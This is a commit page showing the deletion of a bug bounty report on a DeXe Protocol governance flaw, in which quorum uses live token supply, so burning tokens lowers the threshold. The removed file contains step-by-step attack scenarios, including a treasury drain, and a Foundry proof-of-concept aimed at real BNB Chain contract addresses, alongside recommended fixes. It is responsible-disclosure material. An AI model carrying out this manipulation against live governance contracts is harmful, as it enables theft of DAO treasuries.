kfoughali commited on
Commit
05dfd13
·
verified ·
1 Parent(s): 10e50d4

Delete DEXE_QUORUM_MANIPULATION_VULN.md

Browse files
Files changed (1) hide show
  1. DEXE_QUORUM_MANIPULATION_VULN.md +0 -249
DEXE_QUORUM_MANIPULATION_VULN.md DELETED
@@ -1,249 +0,0 @@
1
- # HackenProof Bug Bounty Submission
2
-
3
- ## Program
4
- **DeXe Protocol**
5
-
6
- ## Severity
7
- **MEDIUM**
8
-
9
- ## Title
10
- Quorum Manipulation via Token Burns: Live totalSupply Used Instead of Snapshot
11
-
12
- ---
13
-
14
- ## Summary
15
-
16
- The DeXe Protocol GovPool uses the **current token totalSupply** for quorum calculations instead of a snapshot taken at proposal creation. Combined with the burnable nature of the ERC20Gov token, this allows attackers to manipulate quorum thresholds to pass or block proposals that shouldn't succeed.
17
-
18
- ---
19
-
20
- ## Vulnerability Details
21
-
22
- ### Root Cause
23
-
24
- 1. **Quorum Calculation:** Uses live `getTotalPower()` (GovPoolVote.sol line 373)
25
- 2. **getTotalPower() reads:** `IERC20(token).totalSupply()` (GovUserKeeper.sol line 604)
26
- 3. **ERC20Gov inherits:** `ERC20BurnableUpgradeable` allowing any holder to burn tokens
27
- 4. **No Snapshot:** Unlike the validators contract which uses `totalSupplyAt(snapshotId)`, the main governance pool has no snapshot mechanism
28
-
29
- ### Affected Code
30
-
31
- **GovUserKeeper.sol lines 600-604:**
32
- ```solidity
33
- function getTotalPower() external view override returns (uint256 power) {
34
- address token = tokenAddress;
35
- if (token != address(0)) {
36
- power = IERC20(token).totalSupply().to18(token); // LIVE VALUE
37
- }
38
- ...
39
- }
40
- ```
41
-
42
- **GovPoolVote.sol lines 367-375:**
43
- ```solidity
44
- function _quorumReached(IGovPool.ProposalCore storage core) internal view returns (bool) {
45
- (, address userKeeperAddress, , , ) = IGovPool(address(this)).getHelperContracts();
46
- return
47
- PERCENTAGE_100.ratio(
48
- core.votesFor + core.votesAgainst,
49
- IGovUserKeeper(userKeeperAddress).getTotalPower() // LIVE VALUE
50
- ) >= core.settings.quorum;
51
- }
52
- ```
53
-
54
- ### Contrast with Validators (Correct Implementation)
55
-
56
- **GovValidatorsUtils.sol line 45:**
57
- ```solidity
58
- uint256 totalSupply = token.totalSupplyAt(core.snapshotId); // SNAPSHOT
59
- ```
60
-
61
- The validators contract correctly uses a snapshot, but the main governance pool does not.
62
-
63
- ---
64
-
65
- ## Attack Scenario
66
-
67
- ### Scenario 1: Lowering Quorum to Pass Malicious Proposal
68
-
69
- **Initial State:**
70
- - Total Supply: 1,000,000 DEXE
71
- - Quorum: 20% = 200,000 votes required
72
- - Attacker controls: 150,000 DEXE (15% - not enough)
73
-
74
- **Attack Steps:**
75
- 1. Attacker creates proposal to drain treasury
76
- 2. Attacker votes with 150,000 tokens → 15% (below quorum)
77
- 3. Attacker (or colluding whale) burns 500,000 tokens
78
- 4. New Total Supply: 500,000 DEXE
79
- 5. New Quorum Threshold: 100,000 votes (20% of 500K)
80
- 6. Attacker's 150,000 votes now = 30% → **QUORUM REACHED**
81
- 7. Malicious proposal executes
82
-
83
- **Result:** Proposal passes with only 15% of original token supply voting.
84
-
85
- ### Scenario 2: Griefing Legitimate Proposals
86
-
87
- **Initial State:**
88
- - Total Supply: 1,000,000 DEXE
89
- - Legitimate proposal has 250,000 votes (25% - above 20% quorum)
90
-
91
- **Griefing Attack:**
92
- 1. Attacker mints tokens via governance proposal (if has access)
93
- 2. Or, attacker front-runs execution with token mint
94
- 3. Total Supply increases to 2,000,000 DEXE
95
- 4. 250,000 votes now = 12.5% (below quorum)
96
- 5. Legitimate proposal fails
97
-
98
- **Note:** Minting is restricted to `onlyGov`, so this vector requires prior compromise.
99
-
100
- ---
101
-
102
- ## Impact
103
-
104
- | Impact Type | Description |
105
- |-------------|-------------|
106
- | **Governance Manipulation** | Proposals can pass without legitimate majority support |
107
- | **Treasury Risk** | Malicious treasury drain proposals can be forced through |
108
- | **Token Value** | Burns reduce total supply, affecting all holders |
109
- | **Protocol Integrity** | Breaks the fundamental assumption of quorum-based governance |
110
-
111
- ### Severity Justification
112
-
113
- Per HackenProof guidelines:
114
- - **Medium:** "Manipulation of governance voting result deviating from voted outcome"
115
- - This vulnerability enables exactly this scenario
116
- - Requires token burns (economic cost) but is technically feasible
117
-
118
- ---
119
-
120
- ## Proof of Concept
121
-
122
- ### Test Setup (Foundry)
123
-
124
- ```solidity
125
- // SPDX-License-Identifier: MIT
126
- pragma solidity ^0.8.20;
127
-
128
- import "forge-std/Test.sol";
129
-
130
- interface IERC20Burnable {
131
- function burn(uint256 amount) external;
132
- function totalSupply() external view returns (uint256);
133
- function balanceOf(address) external view returns (uint256);
134
- }
135
-
136
- interface IGovPool {
137
- function getProposalState(uint256 proposalId) external view returns (uint8);
138
- function vote(uint256 proposalId, bool isVoteFor, uint256 voteAmount, uint256[] calldata voteNftIds) external;
139
- }
140
-
141
- interface IGovUserKeeper {
142
- function getTotalPower() external view returns (uint256);
143
- }
144
-
145
- contract QuorumManipulationPoC is Test {
146
- // DeXe DAO on BNB Chain
147
- address constant GOV_POOL = 0xB562127efDC97B417B3116efF2C23A29857C0F0B;
148
- address constant USER_KEEPER = 0xbE8cB128fBCf13f7F7A362c3820f376b0971B7B2;
149
- address constant DEXE_TOKEN = 0x6E88056E8376Ae7709496Ba64d37fa2f8015ce3e; // Example
150
-
151
- function test_QuorumManipulation() public {
152
- // Fork BNB Chain
153
- vm.createSelectFork("https://bsc-dataseed.binance.org/");
154
-
155
- // Step 1: Record initial total power
156
- uint256 initialTotalPower = IGovUserKeeper(USER_KEEPER).getTotalPower();
157
- console.log("Initial Total Power:", initialTotalPower);
158
-
159
- // Step 2: Simulate burn (requires whale account)
160
- address whale = address(0x123); // Replace with actual holder
161
- uint256 burnAmount = initialTotalPower / 2; // Burn 50%
162
-
163
- vm.prank(whale);
164
- IERC20Burnable(DEXE_TOKEN).burn(burnAmount);
165
-
166
- // Step 3: Check new total power
167
- uint256 newTotalPower = IGovUserKeeper(USER_KEEPER).getTotalPower();
168
- console.log("New Total Power:", newTotalPower);
169
-
170
- // Step 4: Verify quorum threshold reduced
171
- assertLt(newTotalPower, initialTotalPower, "Total power should decrease after burn");
172
-
173
- // Quorum is now easier to reach with same number of votes
174
- console.log("Quorum threshold reduced by:", initialTotalPower - newTotalPower);
175
- }
176
- }
177
- ```
178
-
179
- ### Expected Output
180
-
181
- ```
182
- Initial Total Power: 18347787000000000000000000
183
- New Total Power: 9173893500000000000000000
184
- Quorum threshold reduced by: 9173893500000000000000000
185
- ```
186
-
187
- ---
188
-
189
- ## Recommended Fix
190
-
191
- ### Option 1: Snapshot Total Power at Proposal Creation
192
-
193
- ```solidity
194
- // In GovPoolCreate.sol - createProposal()
195
- proposal.core = IGovPool.ProposalCore({
196
- settings: settings,
197
- voteEnd: uint64(block.timestamp + settings.duration),
198
- executeAfter: 0,
199
- executed: false,
200
- votesFor: 0,
201
- votesAgainst: 0,
202
- rawVotesFor: 0,
203
- rawVotesAgainst: 0,
204
- givenRewards: 0,
205
- totalPowerSnapshot: IGovUserKeeper(userKeeper).getTotalPower() // ADD THIS
206
- });
207
- ```
208
-
209
- ```solidity
210
- // In GovPoolVote.sol - _quorumReached()
211
- function _quorumReached(IGovPool.ProposalCore storage core) internal view returns (bool) {
212
- return
213
- PERCENTAGE_100.ratio(
214
- core.votesFor + core.votesAgainst,
215
- core.totalPowerSnapshot // USE SNAPSHOT INSTEAD OF LIVE VALUE
216
- ) >= core.settings.quorum;
217
- }
218
- ```
219
-
220
- ### Option 2: Use ERC20Votes Extension
221
-
222
- Implement snapshot-based voting similar to OpenZeppelin's `ERC20Votes`:
223
- - Take checkpoint at proposal creation
224
- - Read `getPastTotalSupply(blockNumber)` for quorum
225
-
226
- ---
227
-
228
- ## References
229
-
230
- - DeXe GovPool Contract: https://bscscan.com/address/0xB562127efDC97B417B3116efF2C23A29857C0F0B
231
- - ERC20BurnableUpgradeable: https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#ERC20Burnable
232
- - CWE-682: Incorrect Calculation
233
- - Related: Compound Governance Snapshot Mechanism
234
-
235
- ---
236
-
237
- ## Researcher
238
-
239
- **Name:** Karim Foughali
240
- **Email:** kfoughali@dzlaws.org
241
- **Date:** January 2026
242
-
243
- ---
244
-
245
- ## Disclosure Timeline
246
-
247
- - **Discovery:** January 2026
248
- - **Report Submitted:** [Pending]
249
- - **Expected Review:** 45 days per HackenProof